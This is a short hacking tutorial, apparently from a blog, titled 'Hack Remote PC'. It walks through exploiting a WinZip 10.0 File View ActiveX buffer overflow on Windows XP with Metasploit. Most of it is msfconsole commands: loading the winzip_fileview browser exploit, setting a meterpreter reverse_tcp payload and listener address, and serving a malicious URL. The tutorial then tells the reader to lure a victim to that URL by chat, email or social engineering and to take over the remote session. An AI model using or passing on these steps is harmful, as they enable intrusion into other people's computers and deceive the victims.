Hack Remote PC with WinZip File View (WZFILEVIEW.FileViewCtrl.61) ActiveX Buffer Overflow

The File View ActiveX control (WZFILEVIEW.FileViewCtrl.61) could allow a remote attacker to execute arbitrary code on the system. The control contains several unsafe methods and is marked safe for scripting and safe for initialization. A remote attacker could exploit this vulnerability to execute arbitrary code on the victim system. WinZip 10.0 <= Build 6667 are vulnerable.

Exploit Targets

WinZip 10.0 <= Build 6667

Windows XP service pack 2

Windows XP service pack 3

Requirement

Attacker: Backtrack 5

Victim PC: Windows XP

Open backtrack terminal type msfconsole

Now type use exploit/windows/browser/winzip_fileview

Msf exploit (winzip_fileview)>set payload windows/meterpreter/reverse_tcp

Msf exploit (winzip_fileview)>set lhost 192.168.1.4 (IP of Local Host)

Msf exploit (winzip_fileview)>set uripath zip (The Url to use for this exploit)

Msf exploit (winzip_fileview)>exploit

Now an URL you should give to your victim http://192.168.1.4:8080/zip

Send the link of the server to the victim via chat or email or any social engineering technique.

Now you have access to the victims PC. Use “Sessions -l” and the Session number to connect to the session. And Now Type “sessions -i ID“